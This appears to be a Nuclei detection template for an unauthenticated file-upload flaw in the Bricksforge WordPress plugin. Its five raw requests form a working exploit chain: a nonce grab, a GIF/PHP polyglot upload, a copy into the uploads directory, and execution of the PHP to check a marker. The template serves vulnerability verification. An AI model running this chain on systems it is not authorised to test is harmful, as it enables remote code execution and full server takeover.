Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload

id: CVE-2026-85097

info:
  name: Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    Bricksforge WordPress plugin versions up to and including 3.1.8.9 are vulnerable to unauthenticated arbitrary file upload leading to remote code execution. An attacker obtains a wp_rest nonce via the bricksforge_regenerate_nonce AJAX action, uploads a GIF/PHP polyglot through the form_file_upload REST endpoint with the nonce in the X-WP-Nonce header, then triggers form_submit to copy the file to the WordPress media uploads directory where it executes as PHP. Requires a published Bricks Pro Form with a file field on the target; the post_id, form_id, and field_id template variables must be set accordingly.
  impact: |
    An unauthenticated attacker can upload and execute arbitrary PHP code on the web server, leading to full server compromise.
  remediation:
    Update Bricksforge to version 3.1.8.10, 4.0.1, or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85097
    - https://github.com/BlackHatExploitation/CVE-2026-85097
    - https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-85097
    epss-score: 0.03287
    epss-percentile: 0.88577
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: bricksforge
    product: bricksforge
    framework: wordpress
    shodan-query: 'http.html:"wp-content/plugins/bricksforge"'
    fofa-query: 'body="wp-content/plugins/bricksforge"'
  tags: cve,cve2026,wordpress,wp-plugin,bricksforge,file-upload,rce,unauth,intrusive,vkev

variables:
  marker: "{{rand_text_alpha(12)}}"
  probe: "{{rand_text_alpha(8)}}"
  gif_name: "{{rand_text_alpha(8)}}"
  post_id: "6"
  form_id: "frmaaa"
  field_id: "file"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /wp-content/plugins/bricksforge/README.txt HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/plugins/bricksforge/readme.txt HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bricksforge"
        case-insensitive: true
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: bf_version
        part: body
        regex:
          - 'Stable tag:\s*([0-9.]+)'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=bricksforge_regenerate_nonce

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: json
        name: bf_nonce
        part: body
        json:
          - ".data.nonce"
        internal: true

  - raw:
      - |
        POST /wp-json/bricksforge/v1/form_file_upload HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{bf_nonce}}
        Content-Type: multipart/form-data; boundary=BFProbeUpload7391625

        --BFProbeUpload7391625
        Content-Disposition: form-data; name="file[]"; filename="{{gif_name}}.gif"
        Content-Type: image/gif

        GIF89a<?php echo '{{marker}}'; ?>
        --BFProbeUpload7391625--

    matchers:
      - type: regex
        part: body
        regex:
          - '"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"'
        internal: true

    extractors:
      - type: regex
        name: tmp_file_path
        part: body
        regex:
          - '"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-json/bricksforge/v1/form_submit HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{bf_nonce}}
        Content-Type: application/x-www-form-urlencoded

        postId={{post_id}}&formId={{form_id}}&formIdFallback={{form_id}}&fieldIds=%7B%22{{field_id}}%22%3A%22{{field_id}}%22%7D&temporaryFileUploads=%5B%7B%22field%22%3A%22form-field-{{field_id}}%22%2C%22file%22%3A%7B%22file%22%3A%22{{tmp_file_path}}%22%2C%22url%22%3A%22{{Scheme}}%3A%2F%2F{{Hostname}}%2Fwp-content%2Fuploads%2Fbricksforge%2Ftmp%2F{{probe}}.php%22%2C%22type%22%3A%22image%2Fgif%22%7D%7D%5D&form-field-{{field_id}}=

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: up_year
        part: body
        regex:
          - 'uploads\\?/(\d{4})\\?/\d{2}\\?/[^"\\]*\.php'
        group: 1
        internal: true

      - type: regex
        name: up_month
        part: body
        regex:
          - 'uploads\\?/\d{4}\\?/(\d{2})\\?/[^"\\]*\.php'
        group: 1
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/{{up_year}}/{{up_month}}/{{probe}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200